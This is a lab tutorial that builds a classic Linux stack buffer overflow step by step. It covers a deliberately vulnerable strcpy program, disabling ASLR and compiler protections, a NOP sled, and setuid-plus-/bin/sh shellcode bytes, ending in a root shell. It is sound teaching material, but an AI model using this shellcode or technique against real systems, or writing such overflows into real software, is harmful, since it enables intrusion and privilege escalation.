To see what it does, we'll use a simple C program that shows the value of $esp -- the Extended Stack Pointer.
In a Terminal, execute this command:
Enter this code, as shown below:nano esp.c
#include <stdio.h> void main() { register int i asm("esp"); printf("$esp = %#010x\n", i); }
Save the file with Ctrl+X, Y, Enter.
In a Terminal, execute these commands:
Each time you run the program, esp changes, as shown below:gcc -o esp esp.c ./esp ./esp ./esp
This makes you much safer, but it's an irritation we don't need for this project, so we'll turn it off.
In a Terminal, execute these commands:
Now esp is always the same, as shown below:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ./esp ./esp ./esp
In a Terminal window, execute this command:
Enter this code:nano bo1.c
#include <string.h> #include <stdio.h> void main(int argc, char *argv[]) { char buffer[100]; strcpy(buffer, argv[1]); printf("Done!\n"); }
Save the file with Ctrl+X, Y, Enter.
Execute these commands to compile the code without modern protections against stack overflows, and run it with an argument of "A":
The code exits normally, wth the "Done!" message, as shown below.gcc -g -fno-stack-protector -z execstack -o bo1 bo1.c ./bo1 A
In a Terminal window, execute this command:
This prints out ten "A" characters, as shown below.perl -e 'print "A" x 10'
In a Terminal window, execute these commands.
Note that the second command is "LS -L" in lowercase characters.
This creates a file named "e1" containing 116 "A" characters, as shown below.perl -e 'print "A" x 116' > e1 ls -l
Note: the "$(cat e1)" portion of this command prints out the contents of the e1 file and feeds it to the program as a command-line argument. A more common way to do the same thing is with the input redirection operator: "./bo1 < e1". However, that technique gave different results in the command-line and the debugger, so the $() construction is better for this project.
The program runs, copies the string, returns from strcpy(), prints "Done!", and then crashes with a "Segmentation fault" message, as shown below../bo1 $(cat e1)
This is very useful--it means that the program continues to run to its end, but it is unable to exit and return control to the shell normally.
As it is, this is a DoS exploit--it causes the program to crash.
Our next task is to convert this DoS exploit into a Code Execution exploit.
To do that, we need to analyze what caused the segmentation fault, and control it.
Because this file was compiled with symbols, the C source code is visible in the debugger, with handy line numbers, as shown below.gdb bo1 list break 6
The "break 6" command tells the debugger to stop before executing line 6, so we can examine the state of the processor and memory.
The code runs to the breakpoint, and shows the registers, as shown below.run A info registers
The important registers for us now are:
In the gdb debugging environment, execute this command:
This command is short for "eXamine 40 heXadecimal words, starting at $esp". It shows the stack. Find these items, as shown below:x/40x $esp
gdb warns you that a program is already running. At the "Start it from the beginning? (y or n)" prompt, type y and then press Enter.run $(cat e1)
The program runs to the breakpoint.
In the gdb debugging environment, execute these commands:
Notice that $esp has changed--this often makes trouble later on, but for now just find these items in your display,as shown below:info registers x/40x $esp
At the "Quit anyway? (y or n)" prompt, type y and press Enter.quit
This copies your DoS exploit file e1 to a new file named e2, and starts it in the hexedit hexadecimal editor.cp e1 e2 hexedit e2
In the hexedit window, carefully change the last 4 bytes from "41 41 41 41" to "31 32 33 34", as shown below.
Save the file with Ctrl+X, Y.
As you can see, the return address is now 0x34333231, as outlined in green in the image below.gdb bo1 break 6 run $(cat e2) info registers x/40x $esp
This means you can control execution by placing the correct four bytes here, in reverse order.
At the "Quit anyway? (y or n)" prompt, type y and press Enter.quit
The usual solution for this problem is a NOP Sled--a long series of "90" bytes, which do nothing when processed and proceed to the next instruction.
For this exploit, we'll use a 64-byte NOP Sled.
In the Terminal, execute these commands:
This creates a "nopsled" file exactly 64 bytes long, as shown below.perl -e 'print "\x90" x 64' > nopsled ls -l
In the Terminal, execute this command:
The file is full of "90" values, as shown below.hexedit nopsled
Press Ctrl+X to exit hexedit.
For this project, I am using shellcode that spawns a root shell from this page:
http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
Of course, you are already root on Kali Linux, so this exploit doesn't really accomplish anything, but it's a way to see that you have exploited the program.
In the Terminal, execute these commands:
The "shellcode" file should be exactly 32 bytes long, as shown below.perl -e 'print "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e"' > shellcode perl -e 'print "\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"' >> shellcode perl -e 'print "\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"' >> shellcode ls -l
In the Terminal, execute this command:
The shellcode should be exactly as shown below.hexedit shellcode
Press Ctrl+X to exit hexedit.
The "ex3" file should be exactly 116 bytes long, as shown below.cp nopsled e3 cat shellcode >> e3 perl -e 'print "A" x 20' >> e3 ls -l
In the Terminal, execute this command:
In the hexedit window, carefully change the last 4 bytes from "41 41 41 41" to "31 32 33 34", as shown below.hexedit e3
Save the file with Ctrl+X, Y.
This loads the exploit, executes it, and stops so we can see the stack.gdb bo1 break 6 run $(cat e3) info registers x/40x $esp
Find these items:
In the gdb window, execute this command:
The program crashes, because it attempts to execute code at the address 0x34333231, as shown below.continue
That address is incorrect--we need to insert an address that will hit our shellcode.
Examining the gdb screen, pick any address in the shellcode. When I did it, I chose 0xbffff440. Make a note of your address.
At the "Quit anyway? (y or n)" prompt, type y and press Enter.quit
In the hexedit window, carefully change the last 4 bytes from "31 32 33 34", to the address of your shellcode.cp e3 e4 hexedit e4
You must break the address into four bytes and insert them in reverse order.
When I did it, the address was 0xbffff440, so they bytes I typed in were
40 f4 ff bf
as shown below.
Save the file with Ctrl+X, Y.
This loads the exploit, executes it, and stops so we can see the stack.gdb bo1 break 6 run $(cat e4) info registers x/40x $esp
Now the return address is 0xbffff440, as shown below. That should work!
In the gdb window, execute this command:
The exploit works, executing a new program "/bin/dash", as shown below.continue
We now have a working buffer overflow exploit, that returns a shell.
exit
quit
If the exploit works, you will see the "#" prompt, as shown below../bo1 $(cat e4)
That's a common occurrence, and the reason for the NOP sled. If that happens to you, adjust the return value in the exploit file using hexedit--just try varying it by 20, 40, 60, etc. until it works.
http://www.offensive-security.com/metasploit-unleashed/Msfpayload
http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads
https://isisblogs.poly.edu/2011/04/13/cheatsheet-using-msf-to-make-linux-shellcode/
http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html
http://stackoverflow.com/questions/14344654/how-to-use-debug-libraries-on-ubuntu
http://stackoverflow.com/questions/15306090/cant-step-into-string-h-function-with-gdb
http://askubuntu.com/questions/180207/reading-source-of-strlen-c
http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it